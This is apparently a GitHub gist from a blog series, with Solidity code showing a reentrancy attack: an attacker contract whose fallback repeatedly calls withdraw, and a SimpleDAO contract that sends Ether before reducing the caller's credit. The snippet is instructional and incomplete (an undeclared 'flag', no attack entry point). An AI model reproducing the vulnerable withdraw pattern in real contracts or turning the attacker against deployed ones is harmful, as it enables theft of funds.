Skip to content

Instantly share code, notes, and snippets.

@johnsoncarl
Last active March 29, 2020 13:19
Show Gist options
  • Save johnsoncarl/be4589a6aa14ef7d83678a669a599b6f to your computer and use it in GitHub Desktop.
Save johnsoncarl/be4589a6aa14ef7d83678a669a599b6f to your computer and use it in GitHub Desktop.
Day 15 of 20 Days Blog series.
import "./SimpleDAO.sol";
contract attacker{
SimpleDAO DAO = new SimpleDAO(); // address of already deployed DAO contract
address a = address(DAO);
function() public payable{
if(flag) DAO.withdraw(DAO.retbalance());
}
}
contract SimpleDAO {
mapping (address => uint) public credit;
function() public payable{
}
function deposit(uint256 _amount) payable public{
credit[msg.sender] += _amount;
}
function withdraw(uint amount) public{
if (credit[msg.sender]>= amount) {
(msg.sender.call.value(amount)());
credit[msg.sender]-=amount;
}
}
function queryCredit(address to) view public returns(uint){
return credit[to];
}
function retbalance() public returns(uint256 _A){
return address(this).balance;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment